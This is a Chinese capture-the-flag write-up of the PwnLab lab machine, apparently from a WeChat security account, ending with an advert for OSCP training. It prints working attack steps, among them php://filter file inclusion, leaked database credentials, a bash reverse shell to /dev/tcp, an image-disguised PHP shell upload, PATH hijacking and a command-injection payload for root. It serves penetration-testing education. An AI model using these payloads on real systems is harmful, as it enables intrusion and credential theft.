一、探测靶机IP(进行信息收集)
主机发现
arp-scan -l
nmap -sS -sV -T5 -p- 192.168.10.15 -A
二、进行目录枚举
dirb http://192.168.10.15
发现有目录可以访问上传的文件,这样就可以反弹shell
三、进入网页
发现登录界面,尝试弱口令,万能密码,没弄出来
拿nikto扫一下
nikto -h http://192.168.10.15
发现config.php文件里可能存在账号密码
看url为http://192.168.10.15/?page=login,有=可以尝试去文件包含,因为为php文件,利用php伪协议
php伪协议可以看下这个师傅写的https://blog.csdn.net/cosmoslin/article/details/120695429
php**://filter**可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。
协议参数
|
|
|
|
|
|
|
|
利用filter协议读文件±,将config.php通过base64编码后进行输出。这样做的好处就是如果不进行编码,文件包含后就不会有输出结果,而是当做php文件执行了,而通过编码后则可以读取文件源码。
而使用的convert.base64-encode,就是一种过滤器
这里不能加上.php,有可能是因为自动追加扩展名机制,安全策略拦截.php
文件
http://192.168.10.15/?page=php://filter/read=convert.base64-encode/resource=config
<?php
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>
四、3306端口(mysql)
mysql -uroot -pH4u%QJ_H99 -h 192.168.10.15
需要SSL,但服务器不支持,那就直接禁用
在旧版MySQL中,禁用SSL通常使用--ssl=0
或--skip-ssl
参数
mysql -uroot -p'H4u%QJ_H99' -h 192.168.10.15 --ssl=0
MySQL [Users]> show tables;
+-----------------+
| Tables_in_Users |
+-----------------+
| users |
+-----------------+
1 row inset (0.002 sec)
MySQL [Users]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| Users |
+--------------------+
2 rows inset (0.001 sec)
MySQL [Users]> use Users;
Database changed
MySQL [Users]> show tables;
+-----------------+
| Tables_in_Users |
+-----------------+
| users |
+-----------------+
1 row inset (0.001 sec)
MySQL [Users]> select * from users;
+------+------------------+
| user | pass |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+
3 rows inset (0.002 sec)
kent Sld6WHVCSkpOeQ== JWzXuBJJNy
mike U0lmZHNURW42SQ== SIfdsTEn6I
kane aVN2NVltMkdSbw== iSv5Ym2GRo
五、文件上传
登录kent用户
直接上传php文件
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.11/8888 0>&1'");?>
上传失败,需要上传图片,尝试修改文件后缀,抓包将一句话木马插入均失败
通过目录遍历查看upload源码
http://192.168.10.15/?page=php://filter/read=convert.base64-encode/resource=upload
PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCmlmICghaXNzZXQoJF9TRVNTSU9OWyd1c2VyJ10pKSB7IGRpZSgnWW91IG11c3QgYmUgbG9nIGluLicpOyB9DQo/Pg0KPGh0bWw+DQoJPGJvZHk+DQoJCTxmb3JtIGFjdGlvbj0nJyBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnPg0KCQkJPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J2ZpbGUnIGlkPSdmaWxlJyAvPg0KCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3VibWl0JyB2YWx1ZT0nVXBsb2FkJy8+DQoJCTwvZm9ybT4NCgk8L2JvZHk+DQo8L2h0bWw+DQo8P3BocCANCmlmKGlzc2V0KCRfUE9TVFsnc3VibWl0J10pKSB7DQoJaWYgKCRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA8PSAwKSB7DQoJCSRmaWxlbmFtZSAgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTsNCgkJJGZpbGV0eXBlICA9ICRfRklMRVNbJ2ZpbGUnXVsndHlwZSddOw0KCQkkdXBsb2FkZGlyID0gJ3VwbG9hZC8nOw0KCQkkZmlsZV9leHQgID0gc3RycmNocigkZmlsZW5hbWUsICcuJyk7DQoJCSRpbWFnZWluZm8gPSBnZXRpbWFnZXNpemUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddKTsNCgkJJHdoaXRlbGlzdCA9IGFycmF5KCIuanBnIiwiLmpwZWciLCIuZ2lmIiwiLnBuZyIpOyANCg0KCQlpZiAoIShpbl9hcnJheSgkZmlsZV9leHQsICR3aGl0ZWxpc3QpKSkgew0KCQkJZGllKCdOb3QgYWxsb3dlZCBleHRlbnNpb24sIHBsZWFzZSB1cGxvYWQgaW1hZ2VzIG9ubHkuJyk7DQoJCX0NCg0KCQlpZihzdHJwb3MoJGZpbGV0eXBlLCdpbWFnZScpID09PSBmYWxzZSkgew0KCQkJZGllKCdFcnJvciAwMDEnKTsNCgkJfQ0KDQoJCWlmKCRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvZ2lmJyAmJiAkaW1hZ2VpbmZvWydtaW1lJ10gIT0gJ2ltYWdlL2pwZWcnICYmICRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvanBnJyYmICRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvcG5nJykgew0KCQkJZGllKCdFcnJvciAwMDInKTsNCgkJfQ0KDQoJCWlmKHN1YnN0cl9jb3VudCgkZmlsZXR5cGUsICcvJyk+MSl7DQoJCQlkaWUoJ0Vycm9yIDAwMycpOw0KCQl9DQoNCgkJJHVwbG9hZGZpbGUgPSAkdXBsb2FkZGlyIC4gbWQ1KGJhc2VuYW1lKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZpbGVfZXh0Ow0KDQoJCWlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkdXBsb2FkZmlsZSkpIHsNCgkJCWVjaG8gIjxpbWcgc3JjPVwiIi4kdXBsb2FkZmlsZS4iXCI+PGJyIC8+IjsNCgkJfSBlbHNlIHsNCgkJCWRpZSgnRXJyb3IgNCcpOw0KCQl9DQoJfQ0KfQ0KDQo/Pg==
<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
<body>
<form action='' method='post' enctype='multipart/form-data'>
<input type='file' name='file' id='file' />
<input type='submit' name='submit' value='Upload'/>
</form>
</body>
</html>
<?php
if(isset($_POST['submit'])) {
if ($_FILES['file']['error'] <= 0) {
$filename = $_FILES['file']['name'];
$filetype = $_FILES['file']['type'];
$uploaddir = 'upload/';
$file_ext = strrchr($filename, '.');
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
$whitelist = array(".jpg",".jpeg",".gif",".png");
if (!(in_array($file_ext, $whitelist))) {
die('Not allowed extension, please upload images only.');
}
if(strpos($filetype,'image') === false) {
die('Error 001');
}
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
die('Error 002');
}
if(substr_count($filetype, '/')>1){
die('Error 003');
}
$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo"<img src="".$uploadfile.""><br />";
} else {
die('Error 4');
}
}
}
?>
-
会话验证:通过
$_SESSION['user']
检查用户是否已登录。 -
HTML表单:提供一个文件选择框和上传按钮。
-
文件上传逻辑:
-
检查文件扩展名是否在白名单中(仅允许
.jpg
,.jpeg
,.gif
,.png
)。 -
验证文件 MIME 类型是否为图像类型。
-
使用
getimagesize()
检查文件是否为有效图像。 -
确保文件类型字符串中没有多余的斜杠。
-
将文件重命名并保存到
upload/
目录。
常见文件MIME类型
text/plain (纯文本)
text/html (HTML文档)
text/javascript (js代码)
application/xhtml+xml (XHTML文档)
image/gif (GIF图像)
image/jpeg (JPEG图像)
image/png (PNG图像)
video/mpeg (MPEG动画)
application/octet-stream (二进制数据)
application/pdf (PDF文档)
打开cmd命令板
copy /b 1.png + shell.php shell.png
然后直接正常上传就欧克
六、getshell
直接访问并不能解析php文件,继续通过文件包含,看看index.php
http://192.168.10.15/?page=php://filter/read=convert.base64-encode/resource=index
PD9waHANCi8vTXVsdGlsaW5ndWFsLiBOb3QgaW1wbGVtZW50ZWQgeWV0Lg0KLy9zZXRjb29raWUoImxhbmciLCJlbi5sYW5nLnBocCIpOw0KaWYgKGlzc2V0KCRfQ09PS0lFWydsYW5nJ10pKQ0Kew0KCWluY2x1ZGUoImxhbmcvIi4kX0NPT0tJRVsnbGFuZyddKTsNCn0NCi8vIE5vdCBpbXBsZW1lbnRlZCB5ZXQuDQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5Qd25MYWIgSW50cmFuZXQgSW1hZ2UgSG9zdGluZzwvdGl0bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCjxjZW50ZXI+DQo8aW1nIHNyYz0iaW1hZ2VzL3B3bmxhYi5wbmciPjxiciAvPg0KWyA8YSBocmVmPSIvIj5Ib21lPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9bG9naW4iPkxvZ2luPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9dXBsb2FkIj5VcGxvYWQ8L2E+IF0NCjxoci8+PGJyLz4NCjw/cGhwDQoJaWYgKGlzc2V0KCRfR0VUWydwYWdlJ10pKQ0KCXsNCgkJaW5jbHVkZSgkX0dFVFsncGFnZSddLiIucGhwIik7DQoJfQ0KCWVsc2UNCgl7DQoJCWVjaG8gIlVzZSB0aGlzIHNlcnZlciB0byB1cGxvYWQgYW5kIHNoYXJlIGltYWdlIGZpbGVzIGluc2lkZSB0aGUgaW50cmFuZXQiOw0KCX0NCj8+DQo8L2NlbnRlcj4NCjwvYm9keT4NCjwvaHRtbD4=
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
if (isset($_GET['page']))
{
include($_GET['page'].".php");
}
else
{
echo"Use this server to upload and share image files inside the intranet";
}
?>
</center>
</body>
</html>
若用户请求中包含 lang
Cookie,则加载对应语言文件(如 lang/en.lang.php
)
那么就可以抓index.php的包,通过这个包修改
lang=../upload/00bf23e130fa1e525e332ff03dae345d.png
方法一 burp抓包修改
方法二 curl映射
curl --cookie "lang=../upload/00bf23e130fa1e525e332ff03dae345d.png" http://192.168.10.15/index.php
使用 -o
或 --output
参数将响应内容保存为文件(如 output.png
),避免终端直接显示二进制数据
curl -v --cookie "lang=../upload/00bf23e130fa1e525e332ff03dae345d.png" http://192.168.10.15/index.php -o output.png
七、提权
建立交互式终端
python -c "import pty; pty.spawn('/bin/bash');"
尝试suid提权,切换用户,home目录下有四个文件
find / -perm -4000 -print 2>/dev/null
kent JWzXuBJJNy
mike SIfdsTEn6I
kane iSv5Ym2GRo
kent用户下没有什么东西
kane用户下的目录,有一个msgmike为一个二进制文件,是执行cat: /home/mike/msg.txt,但是没有权限
尝试 环境变量劫持
kane@pwnlab:/usr/share$ cd /tmp
cd /tmp
kane@pwnlab:/tmp$ ls
ls
00bf23e130fa1e525e332ff03dae345d.png d4b5b53d27782a539207712b174e4eee.png
4a47a0db6e60853dedfcfdf08a5ca249.png
kane@pwnlab:/tmp$ echo /bin/bash > cat
echo /bin/bash > cat
kane@pwnlab:/tmp$ ls
ls
00bf23e130fa1e525e332ff03dae345d.png cat
4a47a0db6e60853dedfcfdf08a5ca249.png d4b5b53d27782a539207712b174e4eee.png
kane@pwnlab:/tmp$ chmod +x cat
chmod +x cat
kane@pwnlab:/tmp$ ls -l cat
ls -l cat
-rwxr-xr-x 1 kane kane 10 Apr 15 04:23 cat
kane@pwnlab:/tmp$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
kane@pwnlab:/tmp$ cd /home/kane
cd /home/kane
kane@pwnlab:~$ ls
ls
msgmike
kane@pwnlab:~$ ./msgmike
./msgmike
mike@pwnlab:~$ id
id
uid=1002(mike) gid=1002(mike) groups=1002(mike),1003(kane)
进入/tmp
目录
cd /tmp
-
目的: /tmp
是临时目录,通常所有用户都有写入权限,适合存放临时文件(如恶意脚本)。
创建恶意cat
文件
echo /bin/bash > cat
-
操作:在
/tmp
下创建一个名为cat
的文件,内容为/bin/bash
(启动 Bash Shell)。 -
原理:劫持系统命令
cat
。如果目标程序调用cat
时未指定绝对路径,系统会从PATH
环境变量中按顺序查找cat
。我们通过后续修改PATH
,让系统优先执行我们伪造的cat
。
赋予cat
执行权限
chmod +x cat
-
目的:让伪造的 cat
文件可执行,否则系统无法运行它。
修改PATH
环境变量
export PATH=/tmp:$PATH
-
原理:将 /tmp
添加到PATH
的最前面。当系统查找命令(如cat
)时,会先在/tmp
目录下找,找到我们的恶意cat
并执行,而不是系统的/bin/cat
。
执行目标程序msgmike
./msgmike
-
关键点:假设
msgmike
是一个 SUID程序(属于mike
用户且设置了 SUID 权限),当kane
执行它时,程序会以mike
的权限运行。 -
触发劫持:如果
msgmike
内部调用了cat
命令(且未用绝对路径/bin/cat
),系统会按PATH
找到/tmp/cat
,执行我们伪造的cat
(即启动 Bash Shell)。 -
结果:新启动的 Shell 会继承
msgmike
的权限(即mike
用户的权限),从而成功提权到mike
用户。
kane@pwnlab:~$ echo $$ # 查看shell的process id
echo $$
5041
kane@pwnlab:~$ echo"/bin/bash" >/tmp/cat # 将 /bin/bash 写入/tmp/cat中
echo"/bin/bash" > /tmp/cat
kane@pwnlab:~$ echo$PATH# 查看当前$PATH
echo$PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
kane@pwnlab:~$ export PATH=/tmp:$PATH# 将/tmp路径放到$PATH最前面
export PATH=/tmp:$PATH
kane@pwnlab:~$ echo$PATH# 查看修改后的$PATH
echo$PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
kane@pwnlab:~$ ./msgmike # 执行msgmike
./msgmike
mike@pwnlab:~$ echo $$ # 查看shell的process id ,发现已经不同了 说明这里已经成功了
echo $$
5055
mike@pwnlab:~$ whoami # 发现已经是mike用户了
whoami
mike
进入mike目录下发现有一个msg2root程序
mike@pwnlab:/home/mike$ strings msg2root
strings msg2root
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
stdin
fgets
asprintf
system
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
[^_]
Message for root:
/bin/echo %s >> /root/messages.txt
;*2$"(
GCC: (Debian 4.9.2-10) 4.9.2
GCC: (Debian 4.8.4-1) 4.8.4
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rel.dyn
.rel.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got
.got.plt
.data
.bss
.comment
crtstuff.c
__JCR_LIST__
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
completed.6279
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
msg2root.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
__x86.get_pc_thunk.bx
data_start
printf@@GLIBC_2.0
fgets@@GLIBC_2.0
_edata
_fini
__data_start
system@@GLIBC_2.0
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_start_main@@GLIBC_2.0
__libc_csu_init
stdin@@GLIBC_2.0
_end
_start
_fp_hw
asprintf@@GLIBC_2.0
__bss_start
main
_Jv_RegisterClasses
__TMC_END__
_ITM_registerTMCloneTable
_init
system
函数: 直接调用系统命令(如 /bin/echo
),若参数未严格过滤,可能被注入恶意命令(如 ; sh
或反弹 Shell)。
asprintf
函数: 用于动态构造命令字符串(如 /bin/echo %s >> /root/messages.txt
),若用户输入被直接拼接,可能导致命令注入。
若用户输入的 input
未过滤特殊字符(如 ;
、|
、&
等),可以通过输入 payload
hello; /bin/bash -p # 注入额外命令(启动 root Shell)
执行命令会变成
/bin/echo hello; /bin/bash -p >> /root/messages.txt
分号 ;
会分隔命令,导致后续的 /bin/bash -p
以 root 权限执行
END
oscp
有对红队工作感兴趣,或者有意报考oscp的师傅,可以考虑一下我们的培训课程,加我微信咨询,好处如下:
1.报考后课程随时可看,并且如果对考试没有信心,还可以留群跟第二批课程学习,不限次数时间,报考即是一辈子可看
2.200+台靶机及官方课程,lab靶机+域的内容团队泷老师和小羽老师会带大家全部过一遍,并且群内随时答疑,团队老师及群友都会积极解答,全天可答疑
3.目前可接受分期付款,无利息,最多分四个月,第一次付完即可观看视频
4.加入课程可享受工作推荐机会,优秀者可内推至红队
5.报考即送送官方文档中文版,以及kali命令详解中文版,纯人工翻译,版权为团队所有
知识星球
还可以加入我们的知识星球,包含cs二开,甲壳虫,红盟工具等,还有很多src挖掘资料包
原文始发于微信公众号(泷羽Sec-临观):打靶日记 pwnlab
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论